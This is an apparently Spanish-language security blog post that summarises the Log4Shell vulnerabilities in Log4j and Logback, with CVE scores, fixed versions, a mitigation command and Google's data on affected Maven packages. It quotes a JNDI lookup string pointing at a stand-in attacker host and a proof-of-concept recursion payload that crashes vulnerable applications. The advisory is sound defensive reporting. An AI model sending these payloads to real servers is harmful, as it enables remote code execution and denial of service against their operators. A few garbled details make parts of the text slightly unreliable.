Las versiones de Log4j anteriores a 2.16.0 están sujetas a una vulnerabilidad de ejecución remota de código a través del analizador ldap JNDI. El resumen de la vulnerabilidad anterior es que un servidor que utilice la librería de java vulnerable, cuando reciba una petición en alguno de los campos que necesitaría tratar (el User-Agent en este caso), parsearía el contenido (${variable} => ${jndi:ldap://evil.xa/x}), entraría log4j para su tratamiento, realizaría la query ldap hacia el destino (evil.xa) y éste le respondería con la clase maliciosa ejecutando el código existente en la misma.

Resumen vulnerabilidades Log4Shell

• CVE-2021-44228 (CVSS score: 10.0) 
• CVE-2021-45046 (CVSS score: 9.0)
• CVE-2021-45105 (CVSS score: 7.5)
• CVE-2021-4104 (CVSS score: 8.1)

A continuación, se muestran los CVE en el orden en que aparecieron así como las nuevas vulnerabilidades y actualizaciones.

• CVE-2021-44228 [Crítico, 10.0]: la vulnerabilidad Log4Shell original es una falla de deserialización. Tiene un puntaje de 10 en la escala CVSS y otorga capacidades de ejecución remota de código (RCE) a atacantes no autenticados, lo que permite la toma de control completa del sistema.
  Informado por Chen Zhaojun del equipo de seguridad en la nube de Alibaba a Apache el 24 de noviembre, CVE-2021-44228 afecta las configuraciones predeterminadas de múltiples marcos de Apache, incluidos Apache Struts2, Apache Solr, Apache Druid, Apache Flink y otros.
  Siendo la más peligrosa de todas, esta vulnerabilidad se esconde en el componente log4j-core, limitado a las versiones 2.x: desde la 2.0-beta9 hasta la 2.14.1 inclusive. Se implementó una solución para Log4Shell en la versión 2.15.0, pero se consideró incompleta.
  El analista de inteligencia de amenazas Florian Roth (aka @cyb3rops) compartió las reglas Sigma [1, 2] que pueden emplearse como una de las defensas en los SIEMs.
• CVE-2021-45046 [Crítico, anteriormente bajo, 9.0]: Este es un defecto de Denegación de Servicio (DoS) con un puntaje de 3.7 9.0. La falla surgió como resultado de una solución incompleta que entró en 2.15.0 para CVE-2021-44228. Si bien la corrección aplicada a 2.15.0 resolvió en gran medida la falla, ese no fue el caso para ciertas configuraciones no predeterminadas.
  Log4j 2.16.0 soluciona este problema eliminando la compatibilidad con los patrones de búsqueda de mensajes y desactivando la funcionalidad JNDI de forma predeterminada. Para aquellos en la rama 2.12.1, una corrección fue retro-portada a 2.12.2 (para Java 7).
• CVE-2021-4104 [Alto, 8.1]: Aunque anteriormente se pensaba que Log4j 1.x era seguro, ya o es así. Esencialmente, la configuración no predeterminada de las instancias de Log4j 1.x que utilizan la clase JMSAppender también se vuelve susceptible a la falla de deserialización que no es de confianza. Aunque no es fácil, el ataque no es imposible en v1.x. Por lo tanto, tiene sentido protegerse eliminando JMSAppender por completo de log4j-1.2.17.jar, con el siguiente comando: zip -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class
  Aunque es una variante menos severa de CVE-2021-44228, no obstante, este CVE afecta todas las versiones de los componentes log4j:log4j y org.apache.log4j:log4j para los cuales solo existen versiones 1.x. Debido a que estas son versiones al final de su vida útil, no existe una solución para la rama 1.x en ninguna parte, y se debe actualizar a Log4j-core 2.16.0 o superior. Aquí hay más información de mitigación en v1.x.
• CVE-2021-42550 [Moderado, 6.6]: esta es una vulnerabilidad en el framework Logback, un sucesor de la biblioteca Log4j 1.x.
  Hasta la semana pasada, Logback también se jactaba de que "al no estar relacionado con Log4j 2.x, Logback no comparte sus vulnerabilidades". Esa suposición se desvaneció rápidamente cuando se descubrió que CVE-2021-4104 también afectaba a Log4j 1.x, y se evaluó la posibilidad de un impacto potencial en Logback. Se han lanzado versiones más recientes de Logback v1.3.0-alpha11 y v1.2.9 que abordan esta vulnerabilidad menos grave.
• CVE-2021-45105 [Alto, 7.5]: Se descubrió que Log4j 2.16.0 era vulnerable a una falla DoS calificada como Alta. Desde entonces, Apache ha lanzado una versión log4j 2.17.0 que corrige el CVE.  

Log4j 2.17.0 ya disponible, corrige vulnerabilidad DoS

 Diagrama de respuesta

Registrado como CVE-2021-45105, y calificado como 'Alto' (7.5) en la escala CVSS, el defecto DoS existe ya que "Log4j 2.16 no siempre protege de la recursividad infinita en la evaluación de búsqueda".

Aunque las búsquedas JNDI estaban completamente deshabilitadas en la versión 2.16, las búsquedas autorreferenciales seguían siendo una posibilidad en determinadas circunstancias.

Para corregir la vulnerabilidad, Log4j versión 2.17.0 (para Java 8) ya está disponible y solo permite que las "cadenas de búsqueda en la configuración" se expandan de forma recursiva. En cualquier otro uso, solo se resolvería la búsqueda de nivel superior y no las búsquedas anidadas.

Aunque Apache ha publicado oficialmente detalles sobre la próxima versión 2.17.0 hasta ahora, las confirmaciones de GitHub indican que una versión 2.12.3 también podría estar en camino para aquellos en las versiones de rama 2.12.x.

Sin embargo, Apache aumentó la gravedad de CVE-2021-45046 de Baja (3.7) a Crítica (9.0), después de que las omisiones más nuevas permitieran la posibilidad de exfiltración de datos a través de este exploit.

"Si se intenta una sustitución de cadena por cualquier motivo en la siguiente cadena, se activará una recursividad infinita y la aplicación se bloqueará", indica el problema de JIRA, con una carga útil de PoC: 

${${::-${::-$${::-j}}}}

Google afirma que hay más de 35.000 paquetes de Java afectados con Log4j

El desarrollo se produce casi al mismo tiempo que el análisis de Google que revela que más de 35.000 paquetes de Java contienen vulnerabilidades Log4j. "Más de 35.000 paquetes de Java, que representan más del 8% del repositorio de Maven Central (el repositorio de paquetes de Java más importante), se han visto afectados por las vulnerabilidades Log4j reveladas recientemente", explican James Wetter y Nicky Ringland del Open Source Insights Team de Google en entrada del blog. 

Según Google, la gran mayoría de los paquetes Java vulnerables en Maven Central toman prestado Log4j "indirectamente", es decir, Log4j es una dependencia de una dependencia utilizada por el paquete, un concepto también conocido como dependencias transitivas.  

De los 35.863 paquetes identificados por Google, solo alrededor de 7.000 tomaron prestado Log4j directamente, lo que indica que no todos los desarrolladores pueden tener una visibilidad adecuada de su software.

"La falta de visibilidad del usuario sobre sus dependencias y las dependencias transitivas ha dificultado la aplicación de parches; también ha dificultado la determinación del radio de alcance completo de esta vulnerabilidad", explica Google.

Al observar el historial de vulnerabilidades críticas reveladas públicamente que afectan a los paquetes de Maven, y el hecho de que menos del 48% de estos paquetes tenían una solución para estos, los investigadores de Google predicen "una larga espera, probablemente años" antes de que las fallas de Log4j se eliminen por completo de todo Java. paquetes.

Actores de amenazas están apuntando a servidores vulnerables con exploits Log4j para impulsar el malware, y la banda de ransomware Conti observa específicamente los servidores VMWare vCenter vulnerables.

Como tal, las organizaciones deben actualizar a las últimas versiones de Log4j y continuar monitoreando los avisos de Apache en busca de actualizaciones.

Fuentes:

https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/